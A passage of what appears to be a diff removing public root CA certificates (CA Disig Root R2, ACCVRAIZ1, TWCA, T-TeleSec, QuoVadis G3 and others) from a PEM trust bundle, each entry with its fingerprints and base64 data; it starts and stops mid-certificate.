-ljgJ9hBOlSJzmY3aFS3nBfwZcyK3jpgAvDw9rKFs+9Z5JUut8Mxk2og+KbgPCdM0 -3TP1YtHhzRnp7hhPTFiu4h7WDFsVWtg6uMQYZB7jM7K1iXdODL/ZlGsTl28So/6Z -qQTMFexgaDbtCHu39b+T7WYxg4zGcTSHThfqr4uRjRxWQa4iN1438h3Z0S0NL2lR -p75mpoo6Kr3HGrHhFPC+Oh25z1uxav60sUYgovseO3Dvk5h9jHOW8sXvhXCtKSb8 -HgQ+HKDYD8tSg2J87otTlZCpV6LqYQXY+U3EJ/pure3511H3a6UCAwEAAaOCASQw -ggEgMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNOUikxiEyoZLsyvcop9Ntea -HNxnMA4GA1UdDwEB/wQEAwIBBjCB3QYDVR0fBIHVMIHSMIGHoIGEoIGBhn9sZGFw -Oi8vZGlyZWN0b3J5LmQtdHJ1c3QubmV0L0NOPUQtVFJVU1QlMjBSb290JTIwQ2xh -c3MlMjAzJTIwQ0ElMjAyJTIwRVYlMjAyMDA5LE89RC1UcnVzdCUyMEdtYkgsQz1E -RT9jZXJ0aWZpY2F0ZXJldm9jYXRpb25saXN0MEagRKBChkBodHRwOi8vd3d3LmQt -dHJ1c3QubmV0L2NybC9kLXRydXN0X3Jvb3RfY2xhc3NfM19jYV8yX2V2XzIwMDku -Y3JsMA0GCSqGSIb3DQEBCwUAA4IBAQA07XtaPKSUiO8aEXUHL7P+PPoeUSbrh/Yp -3uDx1MYkCenBz1UbtDDZzhr+BlGmFaQt77JLvyAoJUnRpjZ3NOhk31KxEcdzes05 -nsKtjHEh8lprr988TlWvsoRlFIm5d8sqMb7Po23Pb0iUMkZv53GMoKaEGTcH8gNF -CSuGdXzfX2lXANtu2KZyIktQ1HWYVt+3GP9DQ1CuekR78HlR10M9p9OB0/DJT7na -xpeG0ILD5EJt/rDiZE4OJudANCa1CInXCGNjOCd1HjPqbqjdn5lPdE2BiYBL3ZqX -KVwvvoFBuYz/6n1gBp7N1z3TLqMVvKjmJuVvw9y4AyHqnxbxLFS1 ------END CERTIFICATE----- - -# Issuer: CN=CA Disig Root R2 O=Disig a.s. -# Subject: CN=CA Disig Root R2 O=Disig a.s. -# Label: "CA Disig Root R2" -# Serial: 10572350602393338211 -# MD5 Fingerprint: 26:01:fb:d8:27:a7:17:9a:45:54:38:1a:43:01:3b:03 -# SHA1 Fingerprint: b5:61:eb:ea:a4:de:e4:25:4b:69:1a:98:a5:57:47:c2:34:c7:d9:71 -# SHA256 Fingerprint: e2:3d:4a:03:6d:7b:70:e9:f5:95:b1:42:20:79:d2:b9:1e:df:bb:1f:b6:51:a0:63:3e:aa:8a:9d:c5:f8:07:03 ------BEGIN CERTIFICATE----- -MIIFaTCCA1GgAwIBAgIJAJK4iNuwisFjMA0GCSqGSIb3DQEBCwUAMFIxCzAJBgNV -BAYTAlNLMRMwEQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMu -MRkwFwYDVQQDExBDQSBEaXNpZyBSb290IFIyMB4XDTEyMDcxOTA5MTUzMFoXDTQy -MDcxOTA5MTUzMFowUjELMAkGA1UEBhMCU0sxEzARBgNVBAcTCkJyYXRpc2xhdmEx -EzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERpc2lnIFJvb3QgUjIw -ggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCio8QACdaFXS1tFPbCw3Oe -NcJxVX6B+6tGUODBfEl45qt5WDza/3wcn9iXAng+a0EE6UG9vgMsRfYvZNSrXaNH -PWSb6WiaxswbP7q+sos0Ai6YVRn8jG+qX9pMzk0DIaPY0jSTVpbLTAwAFjxfGs3I -x2ymrdMxp7zo5eFm1tL7A7RBZckQrg4FY8aAamkw/dLukO8NJ9+flXP04SXabBbe -QTg06ov80egEFGEtQX6sx3dOy1FU+16SGBsEWmjGycT6txOgmLcRK7fWV8x8nhfR -yyX+hk4kLlYMeE2eARKmK6cBZW58Yh2EhN/qwGu1pSqVg8NTEQxzHQuyRpDRQjrO -QG6Vrf/GlK1ul4SOfW+eioANSW1z4nuSHsPzwfPrLgVv2RvPN3YEyLRa5Beny912 -H9AZdugsBbPWnDTYltxhh5EF5EQIM8HauQhl1K6yNg3ruji6DOWbnuuNZt2Zz9aJ -QfYEkoopKW1rOhzndX0CcQ7zwOe9yxndnWCywmZgtrEE7snmhrmaZkCo5xHtgUUD -i/ZnWejBBhG93c+AAk9lQHhcR1DIm+YfgXvkRKhbhZri3lrVx/k6RGZL5DJUfORs -nLMOPReisjQS1n6yqEm70XooQL6iFh/f5DcfEXP7kAplQ6INfPgGAVUzfbANuPT1 -rqVCV3w2EYx7XsQDnYx5nQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud -DwEB/wQEAwIBBjAdBgNVHQ4EFgQUtZn4r7CU9eMg1gqtzk5WpC5uQu0wDQYJKoZI -hvcNAQELBQADggIBACYGXnDnZTPIgm7ZnBc6G3pmsgH2eDtpXi/q/075KMOYKmFM -tCQSin1tERT3nLXK5ryeJ45MGcipvXrA1zYObYVybqjGom32+nNjf7xueQgcnYqf -GopTpti72TVVsRHFqQOzVju5hJMiXn7B9hJSi+osZ7z+Nkz1uM/Rs0mSO9MpDpkb -lvdhuDvEK7Z4bLQjb/D907JedR+Zlais9trhxTF7+9FGs9K8Z7RiVLoJ92Owk6Ka -+elSLotgEqv89WBW7xBci8QaQtyDW2QOy7W81k/BfDxujRNt+3vrMNDcTa/F1bal -TFtxyegxvug4BkihGuLq0t4SOVga/4AOgnXmt8kHbA7v/zjxmHHEt38OFdAlab0i -nSvtBfZGR6ztwPDUO+Ls7pZbkBNOHlY667DvlruWIxG68kOGdGSVyCh13x01utI3 -gzhTODY7z2zp+WsO0PsE6E9312UBeIYMej4hYvF/Y3EMyZ9E26gnonW+boE+18Dr -G5gPcFw0sorMwIUY6256s/daoQe/qUKS82Ail+QUoQebTnbAjn39pCXHR+3/H3Os -zMOl6W8KjptlwlCFtaOgUxLMVYdh84GuEEZhvUQhuMI9dM9+JDX6HAcOmz0iyu8x -L4ysEr3vQCj8KWefshNPZiTEUxnpHikV7+ZtsH8tZ/3zbBt1RqPlShfppNcL ------END CERTIFICATE----- - -# Issuer: CN=ACCVRAIZ1 O=ACCV OU=PKIACCV -# Subject: CN=ACCVRAIZ1 O=ACCV OU=PKIACCV -# Label: "ACCVRAIZ1" -# Serial: 6828503384748696800 -# MD5 Fingerprint: d0:a0:5a:ee:05:b6:09:94:21:a1:7d:f1:b2:29:82:02 -# SHA1 Fingerprint: 93:05:7a:88:15:c6:4f:ce:88:2f:fa:91:16:52:28:78:bc:53:64:17 -# SHA256 Fingerprint: 9a:6e:c0:12:e1:a7:da:9d:be:34:19:4d:47:8a:d7:c0:db:18:22:fb:07:1d:f1:29:81:49:6e:d1:04:38:41:13 ------BEGIN CERTIFICATE----- -MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UE -AwwJQUNDVlJBSVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQsw -CQYDVQQGEwJFUzAeFw0xMTA1MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQ -BgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwHUEtJQUNDVjENMAsGA1UECgwEQUND -VjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCb -qau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gMjmoY -HtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWo -G2ioPej0RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpA -lHPrzg5XPAOBOp0KoVdDaaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhr -IA8wKFSVf+DuzgpmndFALW4ir50awQUZ0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/ -0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDGWuzndN9wrqODJerWx5eH -k6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs78yM2x/47 -4KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMO -m3WR5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpa -cXpkatcnYGMN285J9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPl -uUsXQA+xtrn13k/c4LOsOxFwYIRKQ26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYI -KwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRwOi8vd3d3LmFjY3YuZXMvZmls -ZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEuY3J0MB8GCCsG -AQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2 -VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeT -VfZW6oHlNsyMHj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIG -CCsGAQUFBwICMIIBFB6CARAAQQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUA -cgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBhAO0AegAgAGQAZQAgAGwAYQAgAEEA -QwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUAYwBuAG8AbABvAGcA -7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBjAHQA -cgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAA -QwBQAFMAIABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUA -czAwBggrBgEFBQcCARYkaHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2Mu -aHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRt -aW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2MV9kZXIuY3JsMA4GA1Ud -DwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZIhvcNAQEF -BQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdp -D70ER9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gU -JyCpZET/LtZ1qmxNYEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+m -AM/EKXMRNt6GGT6d7hmKG9Ww7Y49nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepD -vV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJTS+xJlsndQAJxGJ3KQhfnlms -tn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3sCPdK6jT2iWH -7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h -I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szA -h1xA2syVP1XgNce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xF -d3+YJ5oyXSrjhO7FmGYvliAd3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2H -pPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3pEfbRD0tVNEYqi4Y7 ------END CERTIFICATE----- - -# Issuer: CN=TWCA Global Root CA O=TAIWAN-CA OU=Root CA -# Subject: CN=TWCA Global Root CA O=TAIWAN-CA OU=Root CA -# Label: "TWCA Global Root CA" -# Serial: 3262 -# MD5 Fingerprint: f9:03:7e:cf:e6:9e:3c:73:7a:2a:90:07:69:ff:2b:96 -# SHA1 Fingerprint: 9c:bb:48:53:f6:a4:f6:d3:52:a4:e8:32:52:55:60:13:f5:ad:af:65 -# SHA256 Fingerprint: 59:76:90:07:f7:68:5d:0f:cd:50:87:2f:9f:95:d5:75:5a:5b:2b:45:7d:81:f3:69:2b:61:0a:98:67:2f:0e:1b ------BEGIN CERTIFICATE----- -MIIFQTCCAymgAwIBAgICDL4wDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCVFcx -EjAQBgNVBAoTCVRBSVdBTi1DQTEQMA4GA1UECxMHUm9vdCBDQTEcMBoGA1UEAxMT -VFdDQSBHbG9iYWwgUm9vdCBDQTAeFw0xMjA2MjcwNjI4MzNaFw0zMDEyMzExNTU5 -NTlaMFExCzAJBgNVBAYTAlRXMRIwEAYDVQQKEwlUQUlXQU4tQ0ExEDAOBgNVBAsT -B1Jvb3QgQ0ExHDAaBgNVBAMTE1RXQ0EgR2xvYmFsIFJvb3QgQ0EwggIiMA0GCSqG -SIb3DQEBAQUAA4ICDwAwggIKAoICAQCwBdvI64zEbooh745NnHEKH1Jw7W2CnJfF -10xORUnLQEK1EjRsGcJ0pDFfhQKX7EMzClPSnIyOt7h52yvVavKOZsTuKwEHktSz -0ALfUPZVr2YOy+BHYC8rMjk1Ujoog/h7FsYYuGLWRyWRzvAZEk2tY/XTP3VfKfCh -MBwqoJimFb3u/Rk28OKRQ4/6ytYQJ0lM793B8YVwm8rqqFpD/G2Gb3PpN0Wp8DbH -zIh1HrtsBv+baz4X7GGqcXzGHaL3SekVtTzWoWH1EfcFbx39Eb7QMAfCKbAJTibc -46KokWofwpFFiFzlmLhxpRUZyXx1EcxwdE8tmx2RRP1WKKD+u4ZqyPpcC1jcxkt2 -yKsi2XMPpfRaAok/T54igu6idFMqPVMnaR1sjjIsZAAmY2E2TqNGtz99sy2sbZCi -laLOz9qC5wc0GZbpuCGqKX6mOL6OKUohZnkfs8O1CWfe1tQHRvMq2uYiN2DLgbYP -oA/pyJV/v1WRBXrPPRXAb94JlAGD1zQbzECl8LibZ9WYkTunhHiVJqRaCPgrdLQA -BDzfuBSO6N+pjWxnkjMdwLfS7JLIvgm/LCkFbwJrnu+8vyq8W8BQj0FwcYeyTbcE -qYSjMq+u7msXi7Kx/mzhkIyIqJdIzshNy/MGz19qCkKxHh53L46g5pIOBvwFItIm -4TFRfTLcDwIDAQABoyMwITAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB -/zANBgkqhkiG9w0BAQsFAAOCAgEAXzSBdu+WHdXltdkCY4QWwa6gcFGn90xHNcgL -1yg9iXHZqjNB6hQbbCEAwGxCGX6faVsgQt+i0trEfJdLjbDorMjupWkEmQqSpqsn -LhpNgb+E1HAerUf+/UqdM+DyucRFCCEK2mlpc3INvjT+lIutwx4116KD7+U4x6WF -H6vPNOw/KP4M8VeGTslV9xzU2KV9Bnpv1d8Q34FOIWWxtuEXeZVFBs5fzNxGiWNo -RI2T9GRwoD2dKAXDOXC4Ynsg/eTb6QihuJ49CcdP+yz4k3ZB3lLg4VfSnQO8d57+ -nile98FRYB/e2guyLXW3Q0iT5/Z5xoRdgFlglPx4mI88k1HtQJAH32RjJMtOcQWh -15QaiDLxInQirqWm2BJpTGCjAu4r7NRjkgtevi92a6O2JryPA9gK8kxkRr05YuWW -6zRjESjMlfGt7+/cgFhI6Uu46mWs6fyAtbXIRfmswZ/ZuepiiI7E8UuDEq3mi4TW -nsLrgxifarsbJGAzcMzs9zLzXNl5fe+epP7JI8Mk7hWSsT2RTyaGvWZzJBPqpK5j -wa19hAM8EHiGG3njxPPyBJUgriOCxLM6AGK/5jYk4Ve6xx6QddVfP5VhK8E7zeWz -aGHQRiapIVJpLesux+t3zqY6tQMzT3bR51xUAV3LePTJDL/PEo4XLSNolOer/qmy -KwbQBM0= ------END CERTIFICATE----- - -# Issuer: CN=T-TeleSec GlobalRoot Class 2 O=T-Systems Enterprise Services GmbH OU=T-Systems Trust Center -# Subject: CN=T-TeleSec GlobalRoot Class 2 O=T-Systems Enterprise Services GmbH OU=T-Systems Trust Center -# Label: "T-TeleSec GlobalRoot Class 2" -# Serial: 1 -# MD5 Fingerprint: 2b:9b:9e:e4:7b:6c:1f:00:72:1a:cc:c1:77:79:df:6a -# SHA1 Fingerprint: 59:0d:2d:7d:88:4f:40:2e:61:7e:a5:62:32:17:65:cf:17:d8:94:e9 -# SHA256 Fingerprint: 91:e2:f5:78:8d:58:10:eb:a7:ba:58:73:7d:e1:54:8a:8e:ca:cd:01:45:98:bc:0b:14:3e:04:1b:17:05:25:52 ------BEGIN CERTIFICATE----- -MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUx -KzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAd -BgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNl -YyBHbG9iYWxSb290IENsYXNzIDIwHhcNMDgxMDAxMTA0MDE0WhcNMzMxMDAxMjM1 -OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnBy -aXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50 -ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwggEiMA0G -CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCqX9obX+hzkeXaXPSi5kfl82hVYAUd -AqSzm1nzHoqvNK38DcLZSBnuaY/JIPwhqgcZ7bBcrGXHX+0CfHt8LRvWurmAwhiC -FoT6ZrAIxlQjgeTNuUk/9k9uN0goOA/FvudocP05l03Sx5iRUKrERLMjfTlH6VJi -1hKTXrcxlkIF+3anHqP1wvzpesVsqXFP6st4vGCvx9702cu+fjOlbpSD8DT6Iavq -jnKgP6TeMFvvhk1qlVtDRKgQFRzlAVfFmPHmBiiRqiDFt1MmUUOyCxGVWOHAD3bZ -wI18gfNycJ5v/hqO2V81xrJvNHy+SE/iWjnX2J14np+GPgNeGYtEotXHAgMBAAGj -QjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS/ -WSA2AHmgoCJrjNXyYdK4LMuCSjANBgkqhkiG9w0BAQsFAAOCAQEAMQOiYQsfdOhy -NsZt+U2e+iKo4YFWz827n+qrkRk4r6p8FU3ztqONpfSO9kSpp+ghla0+AGIWiPAC -uvxhI+YzmzB6azZie60EI4RYZeLbK4rnJVM3YlNfvNoBYimipidx5joifsFvHZVw -IEoHNN/q/xWA5brXethbdXwFeilHfkCoMRN3zUA7tFFHei4R40cR3p1m0IvVVGb6 -g1XqfMIpiRvpb7PO4gWEyS8+eIVibslfwXhjdFjASBgMmTnrpMwatXlajRWc2BQN -9noHV8cigwUtPJslJj0Ys6lDfMjIq2SPDqO/nBudMNva0Bkuqjzx+zOAduTNrRlP -BSeOE6Fuwg== ------END CERTIFICATE----- - -# Issuer: CN=QuoVadis Root CA 1 G3 O=QuoVadis Limited -# Subject: CN=QuoVadis Root CA 1 G3 O=QuoVadis Limited -# Label: "QuoVadis Root CA 1 G3" -# Serial: 687049649626669250736271037606554624078720034195 -# MD5 Fingerprint: a4:bc:5b:3f:fe:37:9a:fa:64:f0:e2:fa:05:3d:0b:ab -# SHA1 Fingerprint: 1b:8e:ea:57:96:29:1a:c9:39:ea:b8:0a:81:1a:73:73:c0:93:79:67 -# SHA256 Fingerprint: 8a:86:6f:d1:b2:76:b5:7e:57:8e:92:1c:65:82:8a:2b:ed:58:e9:f2:f2:88:05:41:34:b7:f1:f4:bf:c9:cc:74 ------BEGIN CERTIFICATE----- -MIIFYDCCA0igAwIBAgIUeFhfLq0sGUvjNwc1NBMotZbUZZMwDQYJKoZIhvcNAQEL -BQAwSDELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAc -BgNVBAMTFVF1b1ZhZGlzIFJvb3QgQ0EgMSBHMzAeFw0xMjAxMTIxNzI3NDRaFw00 -MjAxMTIxNzI3NDRaMEgxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM -aW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDEgRzMwggIiMA0GCSqG -SIb3DQEBAQUAA4ICDwAwggIKAoICAQCgvlAQjunybEC0BJyFuTHK3C3kEakEPBtV -wedYMB0ktMPvhd6MLOHBPd+C5k+tR4ds7FtJwUrVu4/sh6x/gpqG7D0DmVIB0jWe -rNrwU8lmPNSsAgHaJNM7qAJGr6Qc4/hzWHa39g6QDbXwz8z6+cZM5cOGMAqNF341 -68Xfuw6cwI2H44g4hWf6Pser4BOcBRiYz5P1sZK0/CPTz9XEJ0ngnjybCKOLXSoh -4Pw5qlPafX7PGglTvF0FBM+hSo+LdoINofjSxxR3W5A2B4GbPgb6Ul5jxaYA/qXp -UhtStZI5cgMJYr2wYBZupt0lwgNm3fME0UDiTouG9G/lg6AnhF4EwfWQvTA9xO+o -abw4m6SkltFi2mnAAZauy8RRNOoMqv8hjlmPSlzkYZqn0ukqeI1RPToV7qJZjqlc -3sX5kCLliEVx3ZGZbHqfPT2YfF72vhZooF6uCyP8Wg+qInYtyaEQHeTTRCOQiJ/G -KubX9ZqzWB4vMIkIG1SitZgj7Ah3HJVdYdHLiZxfokqRmu8hqkkWCKi9YSgxyXSt -hfbZxbGL0eUQMk1fiyA6PEkfM4VZDdvLCXVDaXP7a3F98N/ETH3Goy7IlXnLc6KO -Tk0k+17kBL5yG6YnLUlamXrXXAkgt3+UuU/xDRxeiEIbEbfnkduebPRq34wGmAOt -zCjvpUfzUwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIB -BjAdBgNVHQ4EFgQUo5fW816iEOGrRZ88F2Q87gFwnMwwDQYJKoZIhvcNAQELBQAD -ggIBABj6W3X8PnrHX3fHyt/PX8MSxEBd1DKquGrX1RUVRpgjpeaQWxiZTOOtQqOC -MTaIzen7xASWSIsBx40Bz1szBpZGZnQdT+3Btrm0DWHMY37XLneMlhwqI2hrhVd2 -cDMT/uFPpiN3GPoajOi9ZcnPP/TJF9zrx7zABC4tRi9pZsMbj/7sPtPKlL92CiUN -qXsCHKnQO18LwIE6PWThv6ctTr1NxNgpxiIY0MWscgKCP6o6ojoilzHdCGPDdRS5 -YCgtW2jgFqlmgiNR9etT2DGbe+m3nUvriBbP+V04ikkwj+3x6xn0dxoxGE1nVGwv -b2X52z3sIexe9PSLymBlVNFxZPT5pqOBMzYzcfCkeF9OrYMh3jRJjehZrJ3ydlo2 -8hP0r+AJx2EqbPfgna67hkooby7utHnNkDPDs3b69fBsnQGQ+p6Q9pxyz0fawx/k -NSBT8lTR32GDpgLiJTjehTItXnOQUl1CxM49S+H5GYQd1aJQzEH7QRTDvdbJWqNj -ZgKAvQU6O0ec7AAmTPWIUb+oI38YB7AL7YsmoWTTYUrrXJ/es69nA7Mf3W1daWhp -q1467HxpvMc7hU6eFbm0FU/DlXpY18ls6Wy58yljXrQs8C097Vpl4KlbQMJImYFt -nh8GKjwStIsPm6Ik8KaN1nrgS7ZklmOVhMJKzRwuJIczYOXD ------END CERTIFICATE----- - -# Issuer: CN=QuoVadis Root CA 2 G3 O=QuoVadis Limited -# Subject: CN=QuoVadis Root CA 2 G3 O=QuoVadis Limited -# Label: "QuoVadis Root CA 2 G3" -# Serial: 390156079458959257446133169266079962026824725800 -# MD5 Fingerprint: af:0c:86:6e:bf:40:2d:7f:0b:3e:12:50:ba:12:3d:06 -# SHA1 Fingerprint: 09:3c:61:f3:8b:8b:dc:7d:55:df:75:38:02:05:00:e1:25:f5:c8:36 -# SHA256 Fingerprint: 8f:e4:fb:0a:f9:3a:4d:0d:67:db:0b:eb:b2:3e:37:c7:1b:f3:25:dc:bc:dd:24:0e:a0:4d:af:58:b4:7e:18:40 ------BEGIN CERTIFICATE----- -MIIFYDCCA0igAwIBAgIURFc0JFuBiZs18s64KztbpybwdSgwDQYJKoZIhvcNAQEL -BQAwSDELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAc -BgNVBAMTFVF1b1ZhZGlzIFJvb3QgQ0EgMiBHMzAeFw0xMjAxMTIxODU5MzJaFw00 -MjAxMTIxODU5MzJaMEgxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM -aW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDIgRzMwggIiMA0GCSqG -SIb3DQEBAQUAA4ICDwAwggIKAoICAQChriWyARjcV4g/Ruv5r+LrI3HimtFhZiFf -qq8nUeVuGxbULX1QsFN3vXg6YOJkApt8hpvWGo6t/x8Vf9WVHhLL5hSEBMHfNrMW -n4rjyduYNM7YMxcoRvynyfDStNVNCXJJ+fKH46nafaF9a7I6JaltUkSs+L5u+9ym -c5GQYaYDFCDy54ejiK2toIz/pgslUiXnFgHVy7g1gQyjO/Dh4fxaXc6AcW34Sas+ -O7q414AB+6XrW7PFXmAqMaCvN+ggOp+oMiwMzAkd056OXbxMmO7FGmh77FOm6RQ1 -o9/NgJ8MSPsc9PG/Srj61YxxSscfrf5BmrODXfKEVu+lV0POKa2Mq1W/xPtbAd0j -IaFYAI7D0GoT7RPjEiuA3GfmlbLNHiJuKvhB1PLKFAeNilUSxmn1uIZoL1NesNKq -IcGY5jDjZ1XHm26sGahVpkUG0CM62+tlXSoREfA7T8pt9DTEceT/AFr2XK4jYIVz -8eQQsSWu1ZK7E8EM4DnatDlXtas1qnIhO4M15zHfeiFuuDIIfR0ykRVKYnLP43eh -vNURG3YBZwjgQQvD6xVu+KQZ2aKrr+InUlYrAoosFCT5v0ICvybIxo/gbjh9Uy3l -7ZizlWNof/k19N+IxWA1ksB8aRxhlRbQ694Lrz4EEEVlWFA4r0jyWbYW8jwNkALG -cC4BrTwV1wIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIB -BjAdBgNVHQ4EFgQU7edvdlq/YOxJW8ald7tyFnGbxD0wDQYJKoZIhvcNAQELBQAD -ggIBAJHfgD9DCX5xwvfrs4iP4VGyvD11+ShdyLyZm3tdquXK4Qr36LLTn91nMX66 -AarHakE7kNQIXLJgapDwyM4DYvmL7ftuKtwGTTwpD4kWilhMSA/ohGHqPHKmd+RC -roijQ1h5fq7KpVMNqT1wvSAZYaRsOPxDMuHBR//47PERIjKWnML2W2mWeyAMQ0Ga -W/ZZGYjeVYg3UQt4XAoeo0L9x52ID8DyeAIkVJOviYeIyUqAHerQbj5hLja7NQ4n -lv1mNDthcnPxFlxHBlRJAHpYErAK74X9sbgzdWqTHBLmYF5vHX/JHyPLhGGfHoJE -+V+tYlUkmlKY7VHnoX6XOuYvHxHaU4AshZ6rNRDbIl9qxV6XU/IyAgkwo1jwDQHV -csaxfGl7w/U2Rcxhbl5MlMVerugOXou/983g7aEOGzPuVBj+D77vfoRrQ+NwmNtd -dbINWQeFFSM51vHfqSYP1kjHs6Yi9TM3WpVHn3u6GBVv/9YUZINJ0gpnIdsPNWNg -KCLjsZWDzYWm3S8P52dSbrsvhXz1SnPnxT7AvSESBT/8twNJAlvIJebiVDj1eYeM -HVOyToV7BjjHLPj4sHKNJeV3UvQDHEimUF+IIDBu8oJDqz2XhOdT+yHBTw8imoa4 -WSr2Rz0ZiC3oheGe7IUIarFsNMkd7EgrO3jtZsSOeWmD3n+M ------END CERTIFICATE----- - -# Issuer: CN=QuoVadis Root CA 3 G3 O=QuoVadis Limited -# Subject: CN=QuoVadis Root CA 3 G3 O=QuoVadis Limited -# Label: "QuoVadis Root CA 3 G3" -# Serial: 268090761170461462463995952157327242137089239581 -# MD5 Fingerprint: df:7d:b9:ad:54:6f:68:a1:df:89:57:03:97:43:b0:d7 -# SHA1 Fingerprint: 48:12:bd:92:3c:a8:c4:39:06:e7:30:6d:27:96:e6:a4:cf:22:2e:7d -# SHA256 Fingerprint: 88:ef:81:de:20:2e:b0:18:45:2e:43:f8:64:72:5c:ea:5f:bd:1f:c2:d9:d2:05:73:07:09:c5:d8:b8:69:0f:46 ------BEGIN CERTIFICATE----- -MIIFYDCCA0igAwIBAgIULvWbAiin23r/1aOp7r0DoM8Sah0wDQYJKoZIhvcNAQEL -BQAwSDELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAc -BgNVBAMTFVF1b1ZhZGlzIFJvb3QgQ0EgMyBHMzAeFw0xMjAxMTIyMDI2MzJaFw00 -MjAxMTIyMDI2MzJaMEgxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM -aW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDMgRzMwggIiMA0GCSqG -SIb3DQEBAQUAA4ICDwAwggIKAoICAQCzyw4QZ47qFJenMioKVjZ/aEzHs286IxSR 